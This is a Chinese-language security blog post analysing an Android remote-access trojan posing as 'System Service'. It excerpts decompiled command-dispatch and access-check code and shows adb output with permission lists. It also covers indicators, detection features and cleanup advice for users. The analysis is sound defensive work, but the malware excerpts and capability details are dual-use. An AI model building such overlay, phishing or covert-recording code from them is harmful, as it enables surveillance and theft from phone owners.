&nbsp;&nbsp;return&nbsp;phishResult(bundle);&nbsp; &nbsp; case&nbsp;"overlay_show": &nbsp; &nbsp;&nbsp;return&nbsp;overlayShow(str2, bundle);&nbsp; &nbsp; case&nbsp;"overlay_hide": &nbsp; &nbsp;&nbsp;return&nbsp;overlayHide();&nbsp; &nbsp; case&nbsp;"blackscreen_show":&nbsp;return&nbsp;blackScreenShow();&nbsp; &nbsp; case&nbsp;"blackscreen_hide":&nbsp;return&nbsp;blackScreenHide();&nbsp; &nbsp; case&nbsp;"a11y_tap": &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;BridgeA11ySupport.gesture(ctx,&nbsp;"tap", bundle);&nbsp; &nbsp; case&nbsp;"a11y_swipe": &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;BridgeA11ySupport.gesture(ctx,&nbsp;"swipe", bundle);&nbsp; &nbsp; case&nbsp;"a11y_long_press": &nbsp;return&nbsp;BridgeA11ySupport.gesture(ctx,&nbsp;"long_press", bundle);&nbsp; &nbsp; case&nbsp;"a11y_node_tap": &nbsp; &nbsp;return&nbsp;BridgeA11ySupport.nodeTap(ctx, bundle);&nbsp; &nbsp; case&nbsp;"a11y_force_click":&nbsp;return&nbsp;BridgeA11ySupport.forceClick(ctx, bundle);&nbsp; &nbsp; case&nbsp;"a11y_global": &nbsp; &nbsp; &nbsp;return&nbsp;BridgeA11ySupport.global(ctx, str2, bundle);&nbsp; &nbsp; case&nbsp;"ping": &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;ok();&nbsp; &nbsp; case&nbsp;"start_service": &nbsp; &nbsp;return&nbsp;startFg();&nbsp; &nbsp; case&nbsp;"stop_service": &nbsp; &nbsp;&nbsp;return&nbsp;stopFg();&nbsp; &nbsp; default: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;err("unknown: "&nbsp;+ str);}
五、权限与访问控制int callingUid = Binder.getCallingUid();int myUid &nbsp; &nbsp; &nbsp;= Process.myUid();if&nbsp;(callingUid !=&nbsp;0&nbsp;&& callingUid !=&nbsp;1000&nbsp;&& callingUid !=&nbsp;2000&nbsp; &nbsp; &nbsp; &nbsp; && callingUid != myUid) {&nbsp; &nbsp;&nbsp;return&nbsp;null;}
六、关键威胁点（IOC 候选）包名 / 组件线索：&nbsp; com.tikttok.a11y.provider危险行为：&nbsp;&nbsp;1.&nbsp;开机自启 + 前台服务常驻&nbsp;&nbsp;2.&nbsp;系统内录（REMOTE_SUBMIX）窃听&nbsp;&nbsp;3.&nbsp;后台&nbsp;0.5s/张 偷拍&nbsp;&nbsp;4.&nbsp;WebView 加载远程钓鱼页&nbsp;&nbsp;5.&nbsp;无障碍远程手势控制&nbsp;&nbsp;6.&nbsp;悬浮窗 / 黑屏遮挡&nbsp;&nbsp;7.&nbsp;C2 地址运行期下发，无静态 IOC
七、处置建议1.&nbsp;静态检测：扫描 AUDIO_SOURCE_REMOTE_SUBMIX、dispatchGesture、&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;content:com.tikttok.a11y.provider 等特征2.&nbsp;动态检测：监控后台 AudioRecord / Camera2 持续占用、前台服务频繁重启3.&nbsp;权限审计：检查无障碍服务是否被非用户主动开启、悬浮窗权限是否异常授权4.&nbsp;应急响应：隔离样本 → 提取运行期 C2 → 关联同源样本 → 上报平台 / 厂商

代码里引用了 content://com.tikttok.a11y.provider，包名是 com.tikttok（注意是 tikttok 不是 tiktok）。这说明这个木马不是孤立的——它依赖另一个同作者的无障碍服务组件 com.tikttok，两者配合完成完整的远控能力。这是供应链/家族关联的重要线索。

3.7 APK 结构与签名

用 Python zipfile 直接解包 APK，内部结构只有 7 个文件，极度精简：

# APK 内部结构AndroidManifest.xml &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;12248&nbsp;bytesclasses.dex &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;48696&nbsp;bytesres/xml/device_admin.xml &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;316&nbsp;bytesresources.arsc &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;756&nbsp;bytesMETA-INF/BRIDGE.SF &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;508&nbsp;bytesMETA-INF/BRIDGE.RSA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;1193&nbsp;bytesMETA-INF/MANIFEST.MF &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;413&nbsp;bytes# 反编译源码统计（13 个类，共 2495 行）BridgeProvider.java &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;628&nbsp;行 &nbsp;&nbsp;22997&nbsp;bytes &nbsp; 核心命令分发CameraCaptureHelper.java &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;526&nbsp;行 &nbsp;&nbsp;25399&nbsp;bytes &nbsp; 偷拍OverlayHelper.java &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;317&nbsp;行 &nbsp;&nbsp;12493&nbsp;bytes &nbsp; 悬浮窗PhishActivity.java &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;287&nbsp;行 &nbsp;&nbsp;10314&nbsp;bytes &nbsp; 钓鱼页面AudioCaptureHelper.java &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;197&nbsp;行 &nbsp; &nbsp;6478&nbsp;bytes &nbsp; 录音BridgeA11ySupport.java &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;174&nbsp;行 &nbsp; &nbsp;6230&nbsp;bytes &nbsp; 无障碍手势CameraProxyActivity.java &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;118&nbsp;行 &nbsp; &nbsp;5328&nbsp;bytes &nbsp; 偷拍代理BlackScreenActivity.java &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;81&nbsp;行 &nbsp; &nbsp;2369&nbsp;bytes &nbsp; 黑屏覆盖BridgeService.java &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;58&nbsp;行 &nbsp; &nbsp;1995&nbsp;bytes &nbsp; 前台服务Scheduler.java &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;43&nbsp;行 &nbsp; &nbsp;1583&nbsp;bytes &nbsp; 定时任务BootReceiver.java &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;33&nbsp;行 &nbsp; &nbsp;1259&nbsp;bytes &nbsp; 开机自启BridgeDeviceAdmin.java &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;26&nbsp;行 &nbsp; &nbsp;&nbsp;845&nbsp;bytes &nbsp; 设备管理员R.java &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;13&nbsp;行 &nbsp; &nbsp;&nbsp;306&nbsp;bytes

签名文件名泄露：签名文件叫 BRIDGE.SF 和 BRIDGE.RSA，不是默认的 CERT.SF。这是攻击者手动命名的，说明他清楚自己在做什么——”bridge”（桥）就是他给这个远控工具起的内部代号。

3.8 关键代码实机截图

AndroidManifest 权限分析：46项权限，覆盖摄像头、麦克风、短信、通讯录、位置

BridgeProvider.java 核心代码：ContentProvider 实现，版本号 PHISH_BRIDGE_VERSION=3

4动态复现（真实输出）

# adb 动态分析（雷电模拟器 Android 14 实测）PS> adb shell&nbsp;"ps -A | grep com.system.service"u0_a71 &nbsp;2109 &nbsp;181 &nbsp;5248924 &nbsp;90492 &nbsp;0 &nbsp;0 &nbsp;S &nbsp;com.system.service# 已授予权限（granted=true，共 21 项，含普通权限与危险权限）android.permission.FOREGROUND_SERVICE_CAMERA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;granted=trueandroid.permission.SYSTEM_ALERT_WINDOW &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;granted=trueandroid.permission.FOREGROUND_SERVICE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; granted=trueandroid.permission.RECEIVE_BOOT_COMPLETED &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; granted=trueandroid.permission.FOREGROUND_SERVICE_SPECIAL_USE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; granted=trueandroid.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS &nbsp; &nbsp; &nbsp; granted=trueandroid.permission.INTERNET &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; granted=trueandroid.permission.ACCESS_NETWORK_STATE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; granted=trueandroid.permission.FOREGROUND_SERVICE_MICROPHONE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;granted=trueandroid.permission.QUERY_ALL_PACKAGES &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; granted=trueandroid.permission.READ_SMS &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; granted=true&nbsp; flags=[ USER_SENSITIVE ]android.permission.READ_CALENDAR &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;granted=true&nbsp; flags=[ USER_SENSITIVE ]android.permission.POST_NOTIFICATIONS &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; granted=trueandroid.permission.READ_CALL_LOG &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;granted=true&nbsp; flags=[ USER_SENSITIVE ]android.permission.ACCESS_FINE_LOCATION &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; granted=trueandroid.permission.ANSWER_PHONE_CALLS &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; granted=true&nbsp; flags=[ USER_SENSITIVE ]android.permission.RECEIVE_WAP_PUSH &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; granted=trueandroid.permission.BODY_SENSORS &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; granted=true&nbsp; flags=[ USER_SENSITIVE ]android.permission.READ_PHONE_NUMBERS &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; granted=true&nbsp; flags=[ USER_SENSITIVE ]android.permission.READ_MEDIA_VISUAL_USER_SELECTED &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;granted=trueandroid.permission.NEARBY_WIFI_DEVICES &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;granted=true# 网络状态NETSTAT : 无任何外联连接（进程休眠，按需激活）# 结论进程 &nbsp; : u0_a71 &nbsp;PID 2109 &nbsp;状态 S权限 &nbsp; : 危险权限已授予（其中危险权限 25 项）网络 &nbsp; : 无连接

我们在雷电模拟器（Android 14）中完整复现了样本安装和运行。以下是 adb 实际执行的命令和输出结果。

4.1 进程确认

adb shell ps -A | grep com.system.serviceu0_a71 &nbsp;2109 &nbsp;181 &nbsp;5248924 &nbsp;90492 &nbsp;0 &nbsp;0 &nbsp;S &nbsp;com.system.serviceUID = 10071 (u0_a71)PID = 2109状态 = S（休眠），等 C2 指令

4.2 权限清单（dumpsys 实际输出）

# ---- 请求的权限（共 46 项）----android.permission.INTERNETandroid.permission.ACCESS_NETWORK_STATEandroid.permission.CAMERAandroid.permission.RECORD_AUDIOandroid.permission.READ_CONTACTSandroid.permission.WRITE_CONTACTSandroid.permission.READ_SMSandroid.permission.SEND_SMSandroid.permission.RECEIVE_SMSandroid.permission.RECEIVE_MMSandroid.permission.RECEIVE_WAP_PUSHandroid.permission.READ_CALL_LOGandroid.permission.WRITE_CALL_LOGandroid.permission.READ_PHONE_STATEandroid.permission.READ_PHONE_NUMBERSandroid.permission.ANSWER_PHONE_CALLSandroid.permission.CALL_PHONEandroid.permission.ACCESS_FINE_LOCATIONandroid.permission.ACCESS_COARSE_LOCATIONandroid.permission.ACCESS_BACKGROUND_LOCATIONandroid.permission.READ_EXTERNAL_STORAGEandroid.permission.WRITE_EXTERNAL_STORAGEandroid.permission.READ_MEDIA_IMAGESandroid.permission.READ_MEDIA_VIDEOandroid.permission.READ_MEDIA_AUDIOandroid.permission.READ_MEDIA_VISUAL_USER_SELECTEDandroid.permission.READ_CALENDARandroid.permission.WRITE_CALENDARandroid.permission.BODY_SENSORSandroid.permission.BODY_SENSORS_BACKGROUNDandroid.permission.ACTIVITY_RECOGNITIONandroid.permission.BLUETOOTH_CONNECTandroid.permission.BLUETOOTH_SCANandroid.permission.NEARBY_WIFI_DEVICESandroid.permission.POST_NOTIFICATIONSandroid.permission.SCHEDULE_EXACT_ALARMandroid.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONSandroid.permission.QUERY_ALL_PACKAGESandroid.permission.REQUEST_INSTALL_PACKAGESandroid.permission.SYSTEM_ALERT_WINDOWandroid.permission.FOREGROUND_SERVICEandroid.permission.FOREGROUND_SERVICE_SPECIAL_USEandroid.permission.FOREGROUND_SERVICE_CAMERAandroid.permission.FOREGROUND_SERVICE_MICROPHONEandroid.permission.RECEIVE_BOOT_COMPLETEDandroid.permission.ACCESS_MEDIA_LOCATION# ---- 已授予的运行时权限（共 44 项，此处节选 11 项）----READ_SMS &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;granted=trueREAD_CALENDAR &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; granted=trueREAD_CALL_LOG &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; granted=trueACCESS_FINE_LOCATION &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;granted=trueANSWER_PHONE_CALLS &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;granted=trueRECEIVE_WAP_PUSH &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;granted=trueBODY_SENSORS &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;granted=trueREAD_PHONE_NUMBERS &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;granted=trueSYSTEM_ALERT_WINDOW &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; granted=trueFOREGROUND_SERVICE_CAMERA &nbsp; &nbsp; granted=trueFOREGROUND_SERVICE_MICROPHONE granted=true# ---- 被拒绝的 2 项 ----SCHEDULE_EXACT_ALARM &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;granted=falseREQUEST_INSTALL_PACKAGES &nbsp; &nbsp; &nbsp;granted=false

关键点：短信、通话记录、精确定位、悬浮窗、相机、麦克风前台服务全部授予。SCHEDULE_EXACT_ALARM 和 REQUEST_INSTALL_PACKAGES 被SCHEDULE_EXACT_ALARM和 REQUEST_INSTALL_PACKAGES 被系统拒绝，其余请求权限中，dumpsys 明确标记 granted=true 的有 11 项。危险权限数量以金夏执盾风险识别口径统计为 25 项。

4.3 三分钟静默监测（真实输出）

清 logcat 后等了 3 分钟，再抓日志和网络，结果如下：

# 清日志adb logcat -c# 等待 180 秒后抓取# adb shell ps -A | grep system.serviceu0_a71 &nbsp;2109 &nbsp;181 &nbsp;5248924 &nbsp;90492 &nbsp;0 &nbsp;0 &nbsp;S &nbsp;com.system.service# adb shell top -n 1 | grep system.service(不在 top 列表，CPU 占用接近 0)# adb logcat -d -t 500 | grep -iE 'system.service|BridgeService|CameraCapture|AudioCapture'(无匹配日志)# adb shell netstat -tlnp | grep system.service(无连接)# 安装时间firstInstallTime=2026-09-18 07:47:40

这说明什么：木马启动后立即进入休眠状态，不主动外联，不打日志，CPU 占用接近 0。这是典型的”按需激活”设计——C2 地址运行期下发，不硬编码在 APK 里，不触发指令时完全静默。传统的网络流量监控、日志审计、CPU 占用监控都看不到任何异常。这也是为什么普通用户和安全软件很难发现它的原因。

图 1：安装完成后的模拟器桌面，无任何 System Service 图标

图 2：应用信息页，默认机器人图标，名称伪装为 System Service

图 3：应用权限页，所有敏感权限均为”已允许”

5金夏执盾扫描结果

图4：描99个应用，1.2秒命中高危1个

我用金夏执盾对模拟器内 99 个应用进行全量扫描，耗时 1.2 秒。结果命中高危 1 个，就是 com.system.service。

图 5：扫描完成，高危 1 个，即 System Service

点进 System Service 详情页，风险评分 100 分（高风险），已授予 25 项危险权限。金夏执盾识别出的高危组合包括：

短信读取 + 网络访问

（可窃取验证码）
录音 + 网络访问

（可远程窃听）
相机 + 网络访问

（可远程偷拍）
精确定位 + 网络访问

（可跟踪位置）
通讯录/通话记录 + 网络访问

（通讯录可能外泄）

图 6：应用详情页，风险评分 100 分，25项危险权限

权限矩阵列出了全部 46 项请求权限，其中危险权限全部标红

图 7：权限矩阵 46 项，含 CAMERA、RECORD_AUDIO、READ_SMS、READ_CONTACTS 等高危项

图 8：执盾完整识别结果，命中全部恶意行为特征

6客户场景还原

这是我们客户手机上的实际案例。客户从非官方渠道下载了伪装成”系统服务”的 APK，安装后并未察觉。以下是当时的沟通记录（已马赛克处理）：

图 9：客户通过QQ发来可疑 APK 文件

7情报关联

这个样本的技术栈和 2026 年 5 月安全机构披露的 OverlayPhantom 安卓银行木马高度一致：两阶段投放，先用仿冒系统更新的 dropper 骗用户安装，落地后伪装成系统服务，滥用无障碍服务拿持久化控制，能执行 27条远程命令，包括实时屏幕流、覆盖攻击、拦截输入，目标 10 个国家 180 多个应用。我们这个样本的 BridgeA11ySupport、OverlayHelper、PhishActivity 三件套，跟 OverlayPhantom 是同一套路。

8危害评估

核心风险：这不是炫技型样本，是奔着钱和账号来的。它不做提权、不 root、不搞漏洞，就是老老实实申请一堆权限，然后在后台等着。对普通用户来说，这种”合法权限滥用”型木马比利用系统漏洞的样本更危险——因为它的所有行为在系统层面都是”允许的”。

9复现完成度自检

跑完对照一遍，全绿才算复现成功：

10处置建议

10.1 个人用户

先取消设备管理员：

设置 → 安全 → 设备管理员，取消 System Service 的授权，再回应用设置里卸载。
修改关键密码：

银行、支付宝、微信、QQ 密码全部修改，开启二次验证。
验证码迁移：

将银行、支付类 2FA 从短信迁移到 Authenticator / 硬件密钥。
检查可疑授权：

设置 → 无障碍服务、设备管理员、悬浮窗权限，不认识的全关掉。
观察异常：

近期是否有异常后台流量、异常耗电、摄像头/麦克风图标意外亮起。
彻底清除：

无法彻底卸载时，备份照片后恢复出厂设置，不要恢复可疑 App。

10.2 企业侧

交流群

金夏安全

扫码添加好友，一起学习进步

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：金夏安全金夏
金夏《【木马分析】安卓远控木马-System Service：46 项权限、27 条远程命令，静默窃听偷拍钓鱼》

Tags: 恶意软件漏洞分析移动安全逆向分析

你可能错过

从《人工智能安全治理框架3.0》看 AgentGuard：智能体安全如何实践

对抗鲁棒性的形式化保证

DevSecOps流水线中的自动化安全守门员：OWASP ZAP深度集成实战

别再把LLM当扫描器用了：CyberStrike把Claude订阅变成了一个会自己思考的红队操作员